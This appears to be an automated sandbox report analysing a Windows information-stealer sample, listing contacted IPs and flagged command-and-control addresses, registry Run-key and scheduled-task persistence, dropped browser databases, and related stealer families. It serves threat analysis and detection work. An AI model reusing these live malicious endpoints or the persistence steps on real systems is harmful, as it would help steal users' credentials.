http://185.215.113.206/c4becf79229cb002.phpd	file.exe, 00000000.00000002.1945261732.0000000000B36000.00000004.00000020.00020000.00000000.sdmp	false		high
http://win.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/URIFixup.sys.mjshttps://e.mail.ru	firefox.exe, 00000030.00000002.2656094447.000001B470373000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://safebrowsing.google.com/safebrowsing/diagnostic?site=	firefox.exe, 00000030.00000002.2648012900.000001B46F6B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://yandex.com	firefox.exe, 00000030.00000002.2748000765.000032D30E404000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
20.25.227.174	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
216.58.212.142	youtube.com	United States	15169	GOOGLEUS	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
3.170.115.43	unknown	United States	16509	AMAZON-02US	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
23.218.232.185	unknown	United States	24835	RAYA-ASEG	false
62.76.234.151	home.fvtejj5vs.top	Russian Federation	50113	SUPERSERVERSDATACENTERRU	false
142.250.185.68	www.google.com	United States	15169	GOOGLEUS	false
23.221.22.197	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
20.96.153.111	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.47.50.145	unknown	United States	16625	AKAMAI-ASUS	false
40.79.173.41	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.198.7.185	unknown	United States	20940	AKAMAI-ASN1EU	false
18.244.18.27	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
142.250.185.161	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.198.7.174	unknown	United States	20940	AKAMAI-ASN1EU	false
23.198.7.177	unknown	United States	20940	AKAMAI-ASN1EU	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
188.114.96.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
23.192.223.231	unknown	United States	16625	AKAMAI-ASUS	false

Private

IP
192.168.2.8
127.0.0.1
192.168.2.22

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1557593
Start date and time:	2024-11-18 13:27:56 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	50
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@109/318@89/34
EGA Information:	Successful, ratio: 20%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.23.99, 142.250.185.110, 64.233.167.84, 192.229.221.95, 34.104.35.123, 172.217.16.195, 204.79.197.203, 13.107.42.16, 13.107.21.239, 204.79.197.239, 142.250.185.142, 13.107.6.158, 20.93.72.182, 2.19.126.152, 2.19.126.145, 88.221.110.195, 88.221.110.179, 2.23.209.156, 2.23.209.150, 2.23.209.149, 2.23.209.154, 2.23.209.166, 2.23.209.162, 2.23.209.171, 2.23.209.158, 2.23.209.160, 2.23.209.182, 2.23.209.189, 2.23.209.133, 2.23.209.183, 2.23.209.132, 2.23.209.130, 2.23.209.186, 2.23.209.185, 2.23.209.131, 13.74.129.1, 13.107.21.237, 204.79.197.237, 23.38.98.105, 23.38.98.99, 23.38.98.95, 23.38.98.92, 23.38.98.101, 23.38.98.93, 23.38.98.94, 23.38.98.91, 23.38.98.100, 2.23.209.141, 2.23.209.143, 2.23.209.142, 2.23.209.140, 2.23.209.148, 2.23.209.144, 108.141.37.120, 2.19.126.151, 2.19.126.157, 184.28.89.167, 142.250.185.163, 64.233.184.84, 88.221.170.101, 2.19.126.137, 2.19.126.156, 52.12.64.98, 35.80.238.59, 35.164.125.63, 20.42.65.84, 142.250.185.106, 142.250.184.234
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, browser.events.data.trafficmanager.net, learn.microsoft.com, aus5.mozilla.org, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, e11290.dspg.akamaiedge.net, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, star-azurefd-prod.trafficmanager.net, learn.microsoft.com.edgekey.net, onedscolprdeus02.eastus.cloudapp.azure.com, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, shavar.prod.mozaws.net, bingadsedgeextension-prod.trafficmanager.net, content-autofill.googleapis.com, c-bing-com.dual-a-0034.a-msedge.net, learn.microsoft.com.edgekey.net.globalredir.akad
Execution Graph export aborted for target DocumentsKECBFBAEBK.exe, PID 9164 because there are no executed function
Execution Graph export aborted for target a4be4c0327.exe, PID 8648 because there are no executed function
Execution Graph export aborted for target file.exe, PID 7804 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 5408 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
07:29:25	API Interceptor	136x Sleep call for process: file.exe modified
07:30:01	API Interceptor	134053x Sleep call for process: skotes.exe modified
07:30:27	API Interceptor	64x Sleep call for process: d7f88d1a57.exe modified
07:30:46	API Interceptor	124x Sleep call for process: a4be4c0327.exe modified
13:29:47	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
13:30:28	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run d7f88d1a57.exe C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe
13:30:36	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run e9987cd408.exe C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe
13:30:45	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 8cfb091e91.exe C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe
13:30:54	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run d7f88d1a57.exe C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe
13:31:02	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run e9987cd408.exe C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe
13:31:12	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 8cfb091e91.exe C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe
13:31:21	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run c5c0aef5f7.exe C:\Users\user\AppData\Local\Temp\1007152001\c5c0aef5f7.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Panda Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
20.25.227.174	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	ArenaWarsSetup.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	setup.msi	Get hash	malicious	Unknown	Browse
	test.exe	Get hash	malicious	Babadeda	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	93.184.215.14
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	Unlock_Tool_v2.6.5.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Panda Stealer, Stealc	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
home.fvtejj5vs.top	file.exe	Get hash	malicious	Unknown	Browse	62.76.234.151
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	62.76.234.151
	file.exe	Get hash	malicious	Cryptbot	Browse	62.76.234.151
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	62.76.234.151
	file.exe	Get hash	malicious	Unknown	Browse	62.76.234.151
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	62.76.234.151
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	62.76.234.151
	file.exe	Get hash	malicious	Unknown	Browse	62.76.234.151
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	62.76.234.151
	file.exe	Get hash	malicious	Cryptbot	Browse	62.76.234.151

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://lnk.ie/7469O/e=	Get hash	malicious	Unknown	Browse	23.101.59.196
	Quotation request -30112024_pdf.exe	Get hash	malicious	FormBook	Browse	20.2.36.112
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	http://login.nojustgive.com/ueAQYUzz	Get hash	malicious	HTMLPhisher	Browse	20.189.173.13
	Benefits_Update_2024.pdf	Get hash	malicious	Unknown	Browse	23.101.59.196
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	13.89.179.9
	Benefits_Update_2024.pdf	Get hash	malicious	Unknown	Browse	23.101.59.196
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://jammyjetscorp.uk/PurchaseLedgerRemittanceAdvice/PDF	Get hash	malicious	Unknown	Browse	13.107.246.45
	I_ Ultima richiesta di pagamento finale per Cuzziol beverage s_r_l__.msg	Get hash	malicious	Mint Stealer	Browse	52.109.28.47
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://lnk.ie/7469O/e=	Get hash	malicious	Unknown	Browse	23.101.59.196
	Quotation request -30112024_pdf.exe	Get hash	malicious	FormBook	Browse	20.2.36.112
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	http://login.nojustgive.com/ueAQYUzz	Get hash	malicious	HTMLPhisher	Browse	20.189.173.13
	Benefits_Update_2024.pdf	Get hash	malicious	Unknown	Browse	23.101.59.196
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	13.89.179.9
	Benefits_Update_2024.pdf	Get hash	malicious	Unknown	Browse	23.101.59.196
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://jammyjetscorp.uk/PurchaseLedgerRemittanceAdvice/PDF	Get hash	malicious	Unknown	Browse	13.107.246.45
	I_ Ultima richiesta di pagamento finale per Cuzziol beverage s_r_l__.msg	Get hash	malicious	Mint Stealer	Browse	52.109.28.47
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
AMAZON-02US	Quotation request -30112024_pdf.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	https://discover.smartsheet.com/api/mailings/opened/PMRGSZBCHI2TAOBYGQ4DGMRMEJXXEZZCHIRDKM3GGYYWGZJTFU3DIZDEFU2DEMRUFU4DSNDGFVSTEYZQGYYWIMZSHA3DIIRMEJ3GK4TTNFXW4IR2EI2CELBCONUWOIR2EJ3DSV2VNA4U2V2WL5IGISJWGQZVK2ZTIFXXQ2KUGBUXSSJWPJSXA6DPN5TESQSXJFVESWJ5EJ6Q====.gif	Get hash	malicious	Unknown	Browse	44.230.175.247
	900092839283982.exe	Get hash	malicious	DBatLoader, VIP Keylogger	Browse	52.216.214.9
	https://shorturl.at/cQwea	Get hash	malicious	Unknown	Browse	13.35.58.119
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	3.170.115.43
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	18.141.10.107
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	18.141.10.107
	harm5.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	http://inscrit.es/	Get hash	malicious	Unknown	Browse	52.24.205.146
	http://inscrit.es/	Get hash	malicious	Unknown	Browse	54.244.144.214

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	file.exe	Get hash	malicious	LummaC	Browse	23.206.229.226
	Benefits_Update_2024.pdf	Get hash	malicious	Unknown	Browse	23.206.229.226
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	23.206.229.226
	https://jammyjetscorp.uk/PurchaseLedgerRemittanceAdvice/PDF	Get hash	malicious	Unknown	Browse	23.206.229.226
	Unlock_Tool_v2.6.5.exe	Get hash	malicious	Stealc, Vidar	Browse	23.206.229.226
	file.exe	Get hash	malicious	LummaC	Browse	23.206.229.226
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.206.229.226
	file.exe	Get hash	malicious	LummaC	Browse	23.206.229.226
	file.exe	Get hash	malicious	LummaC	Browse	23.206.229.226
	file.exe	Get hash	malicious	LummaC	Browse	23.206.229.226
28a2c9bd18a11de089ef85a160da29e4	https://lnk.ie/7469O/e=	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 40.126.31.69
	https://comma3.biz-meeting.site/join/THe-BfVv-VuK	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 40.126.31.69
	https://discover.smartsheet.com/api/mailings/opened/PMRGSZBCHI2TAOBYGQ4DGMRMEJXXEZZCHIRDKM3GGYYWGZJTFU3DIZDEFU2DEMRUFU4DSNDGFVSTEYZQGYYWIMZSHA3DIIRMEJ3GK4TTNFXW4IR2EI2CELBCONUWOIR2EJ3DSV2VNA4U2V2WL5IGISJWGQZVK2ZTIFXXQ2KUGBUXSSJWPJSXA6DPN5TESQSXJFVESWJ5EJ6Q====.gif	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 40.126.31.69
	https://shorturl.at/cQwea	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 40.126.31.69
	file.exe	Get hash	malicious	LummaC	Browse	4.175.87.197 184.28.90.27 40.126.31.69
	Benefits_Update_2024.pdf	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 40.126.31.69
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	4.175.87.197 184.28.90.27 40.126.31.69
	file.exe	Get hash	malicious	LummaC	Browse	4.175.87.197 184.28.90.27 40.126.31.69
	https://jammyjetscorp.uk/PurchaseLedgerRemittanceAdvice/PDF	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 40.126.31.69
	https://0nline.hrdocuments.online/?K2dM=7XW	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 40.126.31.69
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	900092839283982.exe	Get hash	malicious	DBatLoader, VIP Keylogger	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	188.114.96.3
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	188.114.96.3
	pennicle.txt.ps1	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	Unlock_Tool_v2.6.5.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BKFCAFCFBAEHIDHJDBGCGCAEGC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DHDBGHCB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.264926456075556
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkM2SAELyKOMq+8QTQKC+CVumx+:K0q+n0J29ELyKOMq+8Q7s+
MD5:	D0FBFF2D8D9B4BA743D6FA7AE32D7BFB
SHA1:	C8A049826B9D1CF284F246D91DC6B8A370140D0E
SHA-256:	F75575EDC332977BEA3D51CDC6F9B2521BFFB87F196FA1C6C19179C6082CC7B9
SHA-512:	98F204D65090396E67A1CD98FFFC11EDDDAA80C27F929CC37625B117125212F41AF50B552F23DE5FD639E7DDBFDF2385565811F52042B7DC8CD677CE9126FFDA
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBAFIIJKJEGIDGDGIIDH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1765), with CRLF line terminators
Category:	dropped
Size (bytes):	9976
Entropy (8bit):	5.499944288613473
Encrypted:	false
SSDEEP:	192:NzKneRdpYbBp6znmUzaX/6aRMKWPzDNBw8DK9mSl:Nz5eUmUtgmrwbw0
MD5:	42594FD09C4DF3B174CF5D59B1CAB13A
SHA1:	1B78FEB748C36A592C468A76BB60E98187D7BE4A
SHA-256:	F8B55E3B04E0A59BB745C43763D8FBC1CFFDBC247B5525A489B4B74A57319393
SHA-512:	E2430AB14ADF2EF1CC2CB1F96DEADAFB3598B803A5E7724FDDB68ACF015D7E052291626A3D100FED902731DBFD10A9AE3387581AD2867F64D0B27E8D51B9069F
Malicious:	false
